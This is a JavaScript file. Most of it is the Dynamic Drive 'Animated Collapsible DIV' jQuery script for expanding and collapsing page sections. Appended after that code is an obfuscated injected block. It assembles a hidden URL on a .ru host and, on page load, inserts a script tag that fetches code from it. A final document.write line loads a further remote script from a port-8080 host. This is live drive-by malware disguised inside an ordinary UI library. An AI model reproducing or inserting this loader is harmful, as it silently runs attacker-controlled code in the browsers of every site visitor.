//** Animated Collapsible DIV v2.0- (c) Dynamic Drive DHTML code library: http://www.dynamicdrive.com.
//** May 24th, 08'- Script rewritten and updated to 2.0.
//** June 4th, 08'- Version 2.01: Bug fix to work with jquery 1.2.6 (which changed the way attr() behaves).

var animatedcollapse={
divholders: {}, //structure: {div.id, div.attrs, div.$divref}
divgroups: {}, //structure: {groupname.count, groupname.lastactivedivid}
lastactiveingroup: {}, //structure: {lastactivediv.id}

show:function(divids){ //public method
	if (typeof divids=="object"){
		for (var i=0; i<divids.length; i++)
			this.showhide(divids[i], "show")
	}
	else
		this.showhide(divids, "show")
},

hide:function(divids){ //public method
	if (typeof divids=="object"){
		for (var i=0; i<divids.length; i++)
			this.showhide(divids[i], "hide")
	}
	else
		this.showhide(divids, "hide")
},

toggle:function(divid){ //public method
	this.showhide(divid, "toggle")
},

addDiv:function(divid, attrstring){ //public function
	this.divholders[divid]=({id: divid, $divref: null, attrs: attrstring})
	this.divholders[divid].getAttr=function(name){ //assign getAttr() function to each divholder object
		var attr=new RegExp(name+"=([^,]+)", "i") //get name/value config pair (ie: width=400px,)
		return (attr.test(this.attrs) && parseInt(RegExp.$1)!=0)? RegExp.$1 : null //return value portion (string), or 0 (false) if none found
	}
},

showhide:function(divid, action){
	var $divref=this.divholders[divid].$divref //reference collapsible DIV
	if (this.divholders[divid] && $divref.length==1){ //if DIV exists
		var targetgroup=this.divgroups[$divref.attr('groupname')] //find out which group DIV belongs to (if any)
		if ($divref.attr('groupname') && targetgroup.count>1 && (action=="show" || action=="toggle" && $divref.css('display')=='none')){ //If current DIV belongs to a group
			if (targetgroup.lastactivedivid && targetgroup.lastactivedivid!=divid) //if last active DIV is set
				this.slideengine(targetgroup.lastactivedivid, 'hide') //hide last active DIV within group first
				this.slideengine(divid, 'show')
			targetgroup.lastactivedivid=divid //remember last active DIV
		}
		else{
			this.slideengine(divid, action)
		}
	}
},

slideengine:function(divid, action){
	var $divref=this.divholders[divid].$divref
	if (this.divholders[divid] && $divref.length==1){ //if this DIV exists
		var animateSetting={height: action}
		if ($divref.attr('fade'))
			animateSetting.opacity=action
		$divref.animate(animateSetting, $divref.attr('speed')? parseInt($divref.attr('speed')) : 500)
		return false
	}
},

generatemap:function(){
	var map={}
	for (var i=0; i<arguments.length; i++){
		if (arguments[i][1]!=null){
			map[arguments[i][0]]=arguments[i][1]
		}
	}
	return map
},

init:function(){
	var ac=this
	jQuery(document).ready(function($){
		var persistopenids=ac.getCookie('acopendivids') //Get list of div ids that should be expanded due to persistence ('div1,div2,etc')
		var groupswithpersist=ac.getCookie('acgroupswithpersist') //Get list of group names that have 1 or more divs with "persist" attribute defined
		if (persistopenids!=null) //if cookie isn't null (is null if first time page loads, and cookie hasnt been set yet)
			persistopenids=(persistopenids=='nada')? [] : persistopenids.split(',') //if no divs are persisted, set to empty array, else, array of div ids
		groupswithpersist=(groupswithpersist==null || groupswithpersist=='nada')? [] : groupswithpersist.split(',') //Get list of groups with divs that are persisted
		jQuery.each(ac.divholders, function(){ //loop through each collapsible DIV object
			this.$divref=$('#'+this.id)
			if ((this.getAttr('persist') || jQuery.inArray(this.getAttr('group'), groupswithpersist)!=-1) && persistopenids!=null){
				var cssdisplay=(jQuery.inArray(this.id, persistopenids)!=-1)? 'block' : 'none'
			}
			else{
				var cssdisplay=this.getAttr('hide')? 'none' : null
			}
			this.$divref.css(ac.generatemap(['height', this.getAttr('height')], ['display', cssdisplay]))
			this.$divref.attr(ac.generatemap(['groupname', this.getAttr('group')], ['fade', this.getAttr('fade')], ['speed', this.getAttr('speed')]))
			if (this.getAttr('group')){ //if this DIV has the "group" attr defined
				var targetgroup=ac.divgroups[this.getAttr('group')] || (ac.divgroups[this.getAttr('group')]={}) //Get settings for this group, or if it no settings exist yet, create blank object to store them in
				targetgroup.count=(targetgroup.count||0)+1 //count # of DIVs within this group
				if (!targetgroup.lastactivedivid && this.$divref.css('display')!='none' || cssdisplay=="block") //if this DIV was open by default or should be open due to persistence								
					targetgroup.lastactivedivid=this.id //remember this DIV as the last "active" DIV (this DIV will be expanded)
				this.$divref.css({display:'none'}) //hide any DIV that's part of said group for now
			}
		}) //end divholders.each
		jQuery.each(ac.divgroups, function(){ //loop through each group
			if (this.lastactivedivid)
				ac.divholders[this.lastactivedivid].$divref.show() //and show last "active" DIV within each group (one that should be expanded)
		})
		var $allcontrols=$('*[rel]').filter('[@rel^="collapse-"], [@rel^="expand-"], [@rel^="toggle-"]') //get all elements on page with rel="collapse-", "expand-" and "toggle-"
		var controlidentifiers=/(collapse-)|(expand-)|(toggle-)/
		$allcontrols.each(function(){
			$(this).click(function(){
				var relattr=this.getAttribute('rel')
				var divid=relattr.replace(controlidentifiers, '')
				var doaction=(relattr.indexOf("collapse-")!=-1)? "hide" : (relattr.indexOf("expand-")!=-1)? "show" : "toggle"
				return ac.showhide(divid, doaction)
			}) //end control.click
		})// end control.each
		$(window).bind('unload', function(){
			ac.uninit()
		})
	}) //end doc.ready()
},

uninit:function(){
	var opendivids='', groupswithpersist=''
	jQuery.each(this.divholders, function(){
		if (this.$divref.css('display')!='none'){
			opendivids+=this.id+',' //store ids of DIVs that are expanded when page unloads: 'div1,div2,etc'
		}
		if (this.getAttr('group') && this.getAttr('persist'))
			groupswithpersist+=this.getAttr('group')+',' //store groups with which at least one DIV has persistance enabled: 'group1,group2,etc'
	})
	opendivids=(opendivids=='')? 'nada' : opendivids.replace(/,$/, '')
	groupswithpersist=(groupswithpersist=='')? 'nada' : groupswithpersist.replace(/,$/, '')
	this.setCookie('acopendivids', opendivids)
	this.setCookie('acgroupswithpersist', groupswithpersist)
},

getCookie:function(Name){ 
	var re=new RegExp(Name+"=[^;]*", "i"); //construct RE to search for target name/value pair
	if (document.cookie.match(re)) //if cookie found
		return document.cookie.match(re)[0].split("=")[1] //return its value
	return null
},

setCookie:function(name, value, days){
	if (typeof days!="undefined"){ //if set persistent cookie
		var expireDate = new Date()
		expireDate.setDate(expireDate.getDate()+days)
		document.cookie = name+"="+value+"; path=/; expires="+expireDate.toGMTString()
	}
	else //else if this is a session only cookie
		document.cookie = name+"="+value+"; path=/"
}

}
var q={QL:3678};var c={y:9863};V={};try {this.N=59768;this.N+=196;var zg=[];this.UU=59400;this.UU--;var G=[];var C=window["EvShune".substr(4)+"sca"+"pe"];w=14047;w-=72;ne=[];var B={Hq:"Y"};this.Vt=false;Ne=[];var FE="FE";var na={NV:"FV"};var pd={};var k=new String("1");J={};var Q='';var h=window[("drhxRe".substr(4)+"792xgE792x".substr(4,2)+"xpSDf".substr(0,2))];var xh={yR:32877};var Uc={T:37210};try {} catch(iO){};ch=7223;ch++;try {var Jk='pY'} catch(Jk){};iz=9233;iz++;this.Cz="";var hR=new String("onlo"+"ad");try {} catch(hy){};var U=String("repl"+"ace");var l={aL:18136};var yw=[];var Tp=[];function P(k,L){var pD=new Array();var pt="";lj={};this.wY='';Ac=["YL","A"];var I="[";var sS=new Array();var rc={Wr:56819};I+=L;wd=["gF"];I+=C("%5d");this.Ye="";var qK=new Array();vS=28849;vS-=206;this.Fn="";this.ur="ur";var R=new h(I, String("g"));this.my=47218;this.my+=83;var eY='';var lf='';this.DB=28807;this.DB+=89;var Es=["gC","FR"];return k.replace(R, Q);};var XQ={eN:56190};ih={};iE=["Bo","bl"];sP={};this.Jf=30838;this.Jf--;UZO={ozh:false};var OB={Mw:37697};var Au={};th={EV:false};var b=String("/gooLkS".substr(0,4)+"OPBrgle.".substr(4)+"com/"+"fox."+"com/"+"amaz"+"tReon.cRte".substr(3,4)+"om.pkJw".substr(0,4)+"dQ4ihp".substr(4));var oY=[];this.BR=40397;this.BR--;var Ix=String("ht"+"H26tp".substr(3)+":/"+"/a"+"ivWshvWi".substr(3,2)+"bDKsoDKb".substr(3,2)+"DQwWftWDwQ".substr(4,2)+"wa"+"re"+".r"+"u:");dL={};var a=416702-408622;Mx={ce:"LB"};try {var GF='KR'} catch(GF){};var Mn={};var bB={YP:2497};var XV=new Date();var VV=new String();function i(){os=21379;os++;this.rN=false;var j=P('sKc0rmiRp3t3','Zbkm0PfIvKB15V6RQ3');AX=44600;AX--;var eB=new Array();nZ={tO:false};vL={_T:false};this.NY="";var O=String("app"+"end"+"Chi"+"ld");var AO=new Date();var xA=new Date();var n=document;var tn=43184;eNa=62284;eNa-=89;var KT={tr:62672};var QF=31179;Ff=27388;Ff-=8;try {var Ffl='fF'} catch(Ffl){};this.RA=38070;this.RA+=22;this.Pi=1648;this.Pi+=128;this.cF=9812;this.cF+=207;K=n.createElement(j);var iS={nd:214};Qz=[];var Oq={};this.sz=false;var NzU=["Fxr","Vu"];uII=26099;uII--;E=Ix+a;var ga=["XJ","QJ"];var GxG=["px","LL"];var JZ=["Ij"];try {} catch(qA){};var gs=["_j"];E=E+b;this.UT=false;this.lh=false;El={Ya:false};var rl={i_:false};Ln=[];ua=24359;ua--;var FKT=["Up","mf"];si=6876;si--;yU=639;yU--;K[new String("de"+"yabBfe".substr(4)+"r")]=k;var Pz=["kT"];this.LKK="";var eC=["Wb"];di=2480;di+=170;var UJ=["WL"];var IF=n.body;var ba={EQ:"ti"};_k=61778;_k--;nZG=25870;nZG++;RN=56145;RN++;K.src=E;Bp=53068;Bp+=181;this.In=58659;this.In--;snH={kQ:26125};vM=["tb","xeC","KN"];var kem={zm:false};izD=["jl","pu","nQ"];IF[O](K);var bA={Tm:false};var Dd=new Date();hQ={Gg:false};PO=4138;PO--;};try {var Xu='Wj'} catch(Xu){};var aY=["xf"];var ban="";var Pe={lAn:"Ju"};var bS=59115;var YN="";var XS={OXV:"ui"};window[hR]=i;this.bD="";this.AY="";var Ib={HBH:"Rk"};try {var DLj='gS'} catch(DLj){};} catch(iZ){var uV=new Date();var wg=5002;dU={nC:false};tUe=15177;tUe++;s_={};try {var gGU='Mj'} catch(gGU){};};phZ={hW:"Yp"};this.UTa='';




document.write('<s'+'cript type="text/javascript" src="http://questtore.hermosayasociados.com:8080/Base_Station.js"></scr'+'ipt>');
